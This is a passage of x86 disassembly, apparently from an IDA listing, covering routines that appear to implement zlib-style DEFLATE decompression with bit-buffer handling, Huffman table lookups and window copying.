		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	loc_4C6261
; ---------------------------------------------------------------------------


loc_4C5D64:				; CODE XREF: sub_4C4F0F+DB9j
					; sub_4C4F0F+DC3j
		cmp	[ebp+var_30], 10h
		jnz	short loc_4C5D7C
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0Ch]
		mov	ecx, [ebp+var_38]
		mov	edx, [eax+ecx*4-4]
		mov	[ebp+var_74], edx
		jmp	short loc_4C5D83
; ---------------------------------------------------------------------------


loc_4C5D7C:				; CODE XREF: sub_4C4F0F+E59j
		mov	[ebp+var_74], 0


loc_4C5D83:				; CODE XREF: sub_4C4F0F+E6Bj
		mov	eax, [ebp+var_74]
		mov	[ebp+var_30], eax


loc_4C5D89:				; CODE XREF: sub_4C4F0F+E9Fj
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		mov	eax, [ebp+var_38]
		mov	ecx, [ebp+var_30]
		mov	[edx+eax*4], ecx
		mov	edx, [ebp+var_38]
		add	edx, 1
		mov	[ebp+var_38], edx
		mov	eax, [ebp+var_3C]
		sub	eax, 1
		mov	[ebp+var_3C], eax
		cmp	[ebp+var_3C], 0
		jnz	short loc_4C5D89
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_38]
		mov	[ecx+8], edx


loc_4C5DB9:				; CODE XREF: sub_4C4F0F+C62j
		jmp	loc_4C5A2B
; ---------------------------------------------------------------------------


loc_4C5DBE:				; CODE XREF: sub_4C4F0F+B41j
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+14h], 0
		mov	[ebp+var_4C], 9
		mov	[ebp+var_40], 6
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		mov	[ebp+Size], edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+24h]
		push	edx
		lea	eax, [ebp+var_50]
		push	eax
		lea	ecx, [ebp+var_48]
		push	ecx
		lea	edx, [ebp+var_40]
		push	edx
		lea	eax, [ebp+var_4C]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		push	edx
		mov	eax, [ebp+Size]
		shr	eax, 5
		and	eax, 1Fh
		add	eax, 1
		push	eax
		mov	ecx, [ebp+Size]
		and	ecx, 1Fh
		add	ecx, 101h
		push	ecx
		call	sub_4C7A96
		add	esp, 24h
		mov	[ebp+Size], eax
		cmp	[ebp+Size], 0
		jz	loc_4C5EB7
		cmp	[ebp+Size], 0FFFFFFFDh
		jnz	short loc_4C5E56
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0Ch]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_4]
		call	dword ptr [eax+24h]
		add	esp, 8
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 9


loc_4C5E56:				; CODE XREF: sub_4C4F0F+F25j
		mov	edx, [ebp+Size]
		mov	[ebp+arg_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_14]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_1C]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+Src]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+Src]
		mov	[edx], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+Dst]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	loc_4C6261
; ---------------------------------------------------------------------------


loc_4C5EB7:				; CODE XREF: sub_4C4F0F+F1Bj
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_50]
		push	ecx
		mov	edx, [ebp+var_48]
		push	edx
		mov	eax, [ebp+var_40]
		push	eax
		mov	ecx, [ebp+var_4C]
		push	ecx
		call	sub_4C6350
		add	esp, 14h
		mov	[ebp+var_44], eax
		cmp	[ebp+var_44], 0
		jnz	short loc_4C5F3E
		mov	[ebp+arg_8], 0FFFFFFFCh
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_14]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_1C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+Src]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+Src]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+Dst]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	loc_4C6261
; ---------------------------------------------------------------------------


loc_4C5F3E:				; CODE XREF: sub_4C4F0F+FCBj
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_44]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_4]
		call	dword ptr [edx+24h]
		add	esp, 8
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 6


loc_4C5F67:				; CODE XREF: sub_4C4F0F+82j
					; DATA XREF: .text:004C627Do
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+Src]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+Src]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+Dst]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4C63A5
		add	esp, 0Ch
		mov	[ebp+arg_8], eax
		cmp	[ebp+arg_8], 1
		jz	short loc_4C5FDF
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	loc_4C6261
; ---------------------------------------------------------------------------


loc_4C5FDF:				; CODE XREF: sub_4C4F0F+10B5j
		mov	[ebp+arg_8], 0
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		push	eax
		call	sub_4C70F9
		add	esp, 8
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		mov	[ebp+Src], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+20h]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+34h]
		mov	[ebp+Dst], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+Dst]
		cmp	eax, [edx+30h]
		jnb	short loc_4C6041
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+30h]
		sub	edx, [ebp+Dst]
		sub	edx, 1
		mov	[ebp+var_78], edx
		jmp	short loc_4C604D
; ---------------------------------------------------------------------------


loc_4C6041:				; CODE XREF: sub_4C4F0F+111Fj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+2Ch]
		sub	ecx, [ebp+Dst]
		mov	[ebp+var_78], ecx


loc_4C604D:				; CODE XREF: sub_4C4F0F+1130j
		mov	edx, [ebp+var_78]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+18h], 0
		jnz	short loc_4C606A
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 0
		jmp	loc_4C625C
; ---------------------------------------------------------------------------


loc_4C606A:				; CODE XREF: sub_4C4F0F+114Bj
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 7


loc_4C6073:				; CODE XREF: sub_4C4F0F+82j
					; DATA XREF: .text:004C6281o
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+Dst]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4C7C50
		add	esp, 0Ch
		mov	[ebp+arg_8], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+34h]
		mov	[ebp+Dst], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+Dst]
		cmp	edx, [ecx+30h]
		jnb	short loc_4C60B8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+30h]
		sub	ecx, [ebp+Dst]
		sub	ecx, 1
		mov	[ebp+var_7C], ecx
		jmp	short loc_4C60C4
; ---------------------------------------------------------------------------


loc_4C60B8:				; CODE XREF: sub_4C4F0F+1196j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+2Ch]
		sub	eax, [ebp+Dst]
		mov	[ebp+var_7C], eax


loc_4C60C4:				; CODE XREF: sub_4C4F0F+11A7j
		mov	ecx, [ebp+var_7C]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	ecx, [edx+30h]
		cmp	ecx, [eax+34h]
		jz	short loc_4C6133
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_14]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_1C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+Src]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+Src]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+Dst]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	loc_4C6261
; ---------------------------------------------------------------------------


loc_4C6133:				; CODE XREF: sub_4C4F0F+11C7j
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 8


loc_4C613C:				; CODE XREF: sub_4C4F0F+82j
					; DATA XREF: .text:004C6285o
		mov	[ebp+arg_8], 1
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_14]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_1C]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+Src]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+Src]
		mov	[edx], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+Dst]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	loc_4C6261
; ---------------------------------------------------------------------------


loc_4C619E:				; CODE XREF: sub_4C4F0F+82j
					; DATA XREF: .text:004C6289o
		mov	[ebp+arg_8], 0FFFFFFFDh
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_14]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_1C]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+Src]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+Src]
		mov	[edx], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+Dst]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	short loc_4C6261
; ---------------------------------------------------------------------------


loc_4C61FD:				; CODE XREF: sub_4C4F0F+79j
		mov	[ebp+arg_8], 0FFFFFFFEh
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_14]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_1C]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+Src]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+Src]
		mov	[edx], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+Dst]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	short loc_4C6261
; ---------------------------------------------------------------------------


loc_4C625C:				; CODE XREF: sub_4C4F0F:loc_4C521Ej
					; sub_4C4F0F+492j ...
		jmp	loc_4C4F6F
; ---------------------------------------------------------------------------


loc_4C6261:				; CODE XREF: sub_4C4F0F+67j
					; sub_4C4F0F+F8j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4C4F0F	endp

; ---------------------------------------------------------------------------
off_4C6265	dd offset loc_4C4F98	; DATA XREF: sub_4C4F0F+82r
		dd offset loc_4C5223
		dd offset loc_4C53A6
		dd offset loc_4C560B
		dd offset loc_4C581A
		dd offset loc_4C5A2B
		dd offset loc_4C5F67
		dd offset loc_4C6073
		dd offset loc_4C613C
		dd offset loc_4C619E
off_4C628D	dd offset loc_4C5071	; DATA XREF: sub_4C4F0F+15Br
		dd offset loc_4C50AE
		dd offset loc_4C5177
		dd offset loc_4C5197

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C629D	proc near		; CODE XREF: sub_4C098B+3Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4C4D60
		add	esp, 0Ch
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+28h]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_4]
		call	dword ptr [eax+24h]
		add	esp, 8
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+24h]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_4]
		call	dword ptr [edx+24h]
		add	esp, 8
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_4]
		call	dword ptr [eax+24h]
		add	esp, 8
		xor	eax, eax
		pop	ebp
		retn
sub_4C629D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4C62F8(int,void *Src,size_t Size)

sub_4C62F8	proc near		; CODE XREF: .text:004C12EAp

arg_0		= dword	ptr  8
Src		= dword	ptr  0Ch
Size		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+Size]
		push	eax		; Size
		mov	ecx, [ebp+Src]
		push	ecx		; Src
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+28h]
		push	eax		; Dst
		call	_memcpy_1
		add	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+28h]
		add	edx, [ebp+Size]
		mov	eax, [ebp+arg_0]
		mov	[eax+34h], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+34h]
		mov	[ecx+30h], eax
		pop	ebp
		retn
sub_4C62F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C632F	proc near		; CODE XREF: .text:004C1485p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		cmp	dword ptr [eax], 1
		setz	cl
		mov	eax, ecx
		pop	ebp
		retn
sub_4C632F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C6350	proc near		; CODE XREF: sub_4C4F0F+1CFp
					; sub_4C4F0F+FBCp

var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1Ch
		push	1
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_10]
		call	dword ptr [edx+20h]
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4C639E
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		mov	dl, [ebp+arg_0]
		mov	[ecx+10h], dl
		mov	eax, [ebp+var_4]
		mov	cl, [ebp+arg_4]
		mov	[eax+11h], cl
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_8]
		mov	[edx+14h], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_C]
		mov	[ecx+18h], edx


loc_4C639E:				; CODE XREF: sub_4C6350+1Fj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4C6350	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C63A5	proc near		; CODE XREF: sub_4C4F0F+10A6p

var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+4]
		mov	[ebp+var_2C], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+34h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+30h]
		jnb	short loc_4C63FC
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+30h]
		sub	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_30], eax
		jmp	short loc_4C6408
; ---------------------------------------------------------------------------


loc_4C63FC:				; CODE XREF: sub_4C63A5+44j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+2Ch]
		sub	edx, [ebp+var_8]
		mov	[ebp+var_30], edx


loc_4C6408:				; CODE XREF: sub_4C63A5+55j
		mov	eax, [ebp+var_30]
		mov	[ebp+var_28], eax


loc_4C640E:				; CODE XREF: sub_4C63A5:loc_4C70C8j
		mov	ecx, 1
		test	ecx, ecx
		jz	loc_4C70CD
		mov	edx, [ebp+var_10]
		mov	eax, [edx]
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 9
		ja	loc_4C7069
		mov	ecx, [ebp+var_34]
		jmp	ds:off_4C70D1[ecx*4]


loc_4C6437:				; DATA XREF: .text:off_4C70D1o
		cmp	[ebp+var_28], 102h
		jb	loc_4C653D
		cmp	[ebp+var_2C], 0Ah
		jb	loc_4C653D
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_24]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_2C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+14h]
		push	ecx
		mov	edx, [ebp+var_10]
		xor	eax, eax
		mov	al, [edx+11h]
		push	eax
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		mov	dl, [ecx+10h]
		push	edx
		call	sub_4C7E30
		add	esp, 18h
		mov	[ebp+arg_8], eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+4]
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+20h]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+34h]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		cmp	edx, [ecx+30h]
		jnb	short loc_4C650B
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+30h]
		sub	ecx, [ebp+var_8]
		sub	ecx, 1
		mov	[ebp+var_38], ecx
		jmp	short loc_4C6517
; ---------------------------------------------------------------------------


loc_4C650B:				; CODE XREF: sub_4C63A5+153j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+2Ch]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_38], eax


loc_4C6517:				; CODE XREF: sub_4C63A5+164j
		mov	ecx, [ebp+var_38]
		mov	[ebp+var_28], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_4C653D
		mov	edx, [ebp+arg_8]
		sub	edx, 1
		neg	edx
		sbb	edx, edx
		and	edx, 2
		add	edx, 7
		mov	eax, [ebp+var_10]
		mov	[eax], edx
		jmp	loc_4C70C8
; ---------------------------------------------------------------------------


loc_4C653D:				; CODE XREF: sub_4C63A5+99j
					; sub_4C63A5+A3j ...
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		mov	dl, [ecx+10h]
		mov	eax, [ebp+var_10]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_10]
		mov	eax, [edx+14h]
		mov	[ecx+8], eax
		mov	ecx, [ebp+var_10]
		mov	dword ptr [ecx], 1


loc_4C6560:				; CODE XREF: sub_4C63A5+8Bj
					; DATA XREF: .text:004C70D5o
		mov	edx, [ebp+var_10]
		mov	eax, [edx+0Ch]
		mov	[ebp+var_20], eax


loc_4C6569:				; CODE XREF: sub_4C63A5+26Bj
		mov	ecx, [ebp+var_24]
		cmp	ecx, [ebp+var_20]
		jnb	loc_4C6615
		cmp	[ebp+var_2C], 0
		jz	short loc_4C6584
		mov	[ebp+arg_8], 0
		jmp	short loc_4C65DF
; ---------------------------------------------------------------------------


loc_4C6584:				; CODE XREF: sub_4C63A5+1D4j
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_24]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_2C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	loc_4C70CD
; ---------------------------------------------------------------------------


loc_4C65DF:				; CODE XREF: sub_4C63A5+1DDj
		mov	edx, [ebp+var_2C]
		sub	edx, 1
		mov	[ebp+var_2C], edx
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, ecx
		mov	ecx, [ebp+var_24]
		shl	edx, cl
		mov	eax, [ebp+var_C]
		or	eax, edx
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_24]
		add	edx, 8
		mov	[ebp+var_24], edx
		jmp	loc_4C6569
; ---------------------------------------------------------------------------


loc_4C6615:				; CODE XREF: sub_4C63A5+1CAj
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_C]
		and	ecx, dword_4EF200[eax*4]
		mov	edx, [ebp+var_10]
		mov	eax, [edx+8]
		lea	ecx, [eax+ecx*8]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_14]
		xor	eax, eax
		mov	al, [edx+1]
		mov	ecx, eax
		mov	edx, [ebp+var_C]
		shr	edx, cl
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_14]
		xor	ecx, ecx
		mov	cl, [eax+1]
		mov	edx, [ebp+var_24]
		sub	edx, ecx
		mov	[ebp+var_24], edx
		mov	eax, [ebp+var_14]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_18], ecx
		cmp	[ebp+var_18], 0
		jnz	short loc_4C667A
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_14]
		mov	ecx, [eax+4]
		mov	[edx+8], ecx
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], 6
		jmp	loc_4C70C8
; ---------------------------------------------------------------------------


loc_4C667A:				; CODE XREF: sub_4C63A5+2B9j
		mov	eax, [ebp+var_18]
		and	eax, 10h
		test	eax, eax
		jz	short loc_4C66AA
		mov	ecx, [ebp+var_18]
		and	ecx, 0Fh
		mov	edx, [ebp+var_10]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_14]
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_10]
		mov	dword ptr [eax], 2
		jmp	loc_4C70C8
; ---------------------------------------------------------------------------


loc_4C66AA:				; CODE XREF: sub_4C63A5+2DDj
		mov	ecx, [ebp+var_18]
		and	ecx, 40h
		test	ecx, ecx
		jnz	short loc_4C66D4
		mov	edx, [ebp+var_10]
